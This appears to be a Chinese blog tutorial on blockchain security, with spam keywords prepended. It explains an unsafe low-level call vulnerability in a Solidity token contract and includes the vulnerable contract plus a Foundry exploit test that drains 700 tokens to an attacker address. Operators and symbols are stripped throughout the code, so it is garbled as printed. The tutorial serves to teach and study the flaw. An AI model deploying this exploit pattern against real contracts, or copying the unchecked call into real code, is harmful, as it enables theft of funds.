动态ip建网站,昆明好seo怎么做,毕业设计代做网站推荐,dede 网站地图区块链安全常见的攻击分析——不安全调用漏洞 Unsafe Call Vulnerability 1.1 漏洞合约1.2 漏洞分析1.3 攻击步骤分析1.4 攻击合约 Name: 不安全调用漏洞 (Unsafe Call Vulnerability)
重点#xff1a; 在 TokenWhale 合约的 approveAndCallcode 函数中#xff0c;漏洞允许任… 区块链安全常见的攻击分析——不安全调用漏洞 Unsafe Call Vulnerability 1.1 漏洞合约1.2 漏洞分析1.3 攻击步骤分析1.4 攻击合约 Name: 不安全调用漏洞 (Unsafe Call Vulnerability)
重点 在 TokenWhale 合约的 approveAndCallcode 函数中漏洞允许任意调用并传入任意数据。攻击者可以通过该函数利用 call(_extraData) 执行恶意代码例如调用 transfer 函数将资金转移给攻击者从而实现重入攻击并窃取资金。
1.1 漏洞合约
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
/*
名称: 不安全调用漏洞 (Unsafe Call Vulnerability)描述:
在 TokenWhale 合约的 approveAndCallcode 函数中该漏洞允许执行任意调用并传入任意数据从而导致潜在的安全风险和意外后果。该函数使用低级调用 (_spender.call(_extraData))在没有对 _spender 地址的有效性或 _extraData 数据进行任何验证的情况下执行代码。
这可能导致意外行为、重入攻击或未授权的操作。这个练习展示了在调用合约时输入和返回值未被检查的低级调用漏洞。
如果调用数据可控则很容易引发任意函数执行。缓解措施:
应尽可能避免使用低级调用 call。参考:
https://blog.li.fi/20th-march-the-exploit-e9e1c5c03eb9
*/import forge-std/Test.sol;contract TokenWhale {address player;uint256 public totalSupply;mapping(address uint256) public balanceOf;mapping(address mapping(address uint256)) public allowance;string public name Simple ERC20 Token;string public symbol SET;uint8 public decimals 18;function TokenWhaleDeploy(address _player) public {player _player;totalSupply 1000;balanceOf[player] 1000;}function isComplete() public view returns (bool) {return balanceOf[player] 1000000; // 1 mil}event Transfer(address indexed from, address indexed to, uint256 value);function _transfer(address to, uint256 value) internal {balanceOf[msg.sender] - value;balanceOf[to] value;emit Transfer(msg.sender, to, value);}function transfer(address to, uint256 value) public {require(balanceOf[msg.sender] value);require(balanceOf[to] value balanceOf[to]);_transfer(to, value);}event Approval(address indexed owner,address indexed spender,uint256 value);function approve(address spender, uint256 value) public {allowance[msg.sender][spender] value;emit Approval(msg.sender, spender, value);}function transferFrom(address from, address to, uint256 value) public {require(balanceOf[from] value);require(balanceOf[to] value balanceOf[to]);require(allowance[from][msg.sender] value);allowance[from][msg.sender] - value;_transfer(to, value);}/* Approves and then calls the contract code*/function approveAndCallcode(address _spender,uint256 _value,bytes memory _extraData) public {allowance[msg.sender][_spender] _value;bool success;// vulnerable call execute unsafe user code(success, ) _spender.call(_extraData);console.log(success:, success);}
}
1.2 漏洞分析
approveAndCallcode()函数中的call可以调用_spender地址的任意函数。 1.3 攻击步骤分析
调用 approveAndCallcode 函数将 _spender 参数设置为 TokenWhaleContract 合约的地址。 将 _extraData 参数设置为 transfer 函数的函数签名及其参数触发低级调用 call从而执行 transfer 函数实现重入攻击。 输出结果
1.4 攻击合约
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;import forge-std/Test.sol;
import ./UnsafeCall.sol;contract ContractTest is Test {TokenWhale TokenWhaleContract;address Koko;address Aquarius;function setUp() public {TokenWhaleContract new TokenWhale();Koko vm.addr(1);Aquarius vm.addr(2);// vm.deal(address(Koko), 1 ether);// vm.deal(address(Aquarius), 1 ether);vm.prank(Koko);TokenWhaleContract new TokenWhale();TokenWhaleContract.TokenWhaleDeploy(address(TokenWhaleContract));console.log(TokenWhale balance:,TokenWhaleContract.balanceOf(address(TokenWhaleContract)));}function testUnsafeCall() public {vm.prank(Aquarius);uint256 AquariusBalance;uint256 TokenWhaleBalance;AquariusBalance TokenWhaleContract.balanceOf(address(Aquarius));console.log(Aquarius Balance:, AquariusBalance);bytes memory _extraData abi.encodeWithSignature(transfer(address,uint256),address(Aquarius),700);TokenWhaleContract.approveAndCallcode(address(TokenWhaleContract),0,_extraData);assertEq(TokenWhaleContract.balanceOf(address(Aquarius)), 700);console.log(Attack success!!);TokenWhaleBalance TokenWhaleContract.balanceOf(address(TokenWhaleContract));console.log(TokenWhale Balance:, TokenWhaleBalance);AquariusBalance TokenWhaleContract.balanceOf(address(Aquarius));console.log(Aquarius Balance:, AquariusBalance);}
}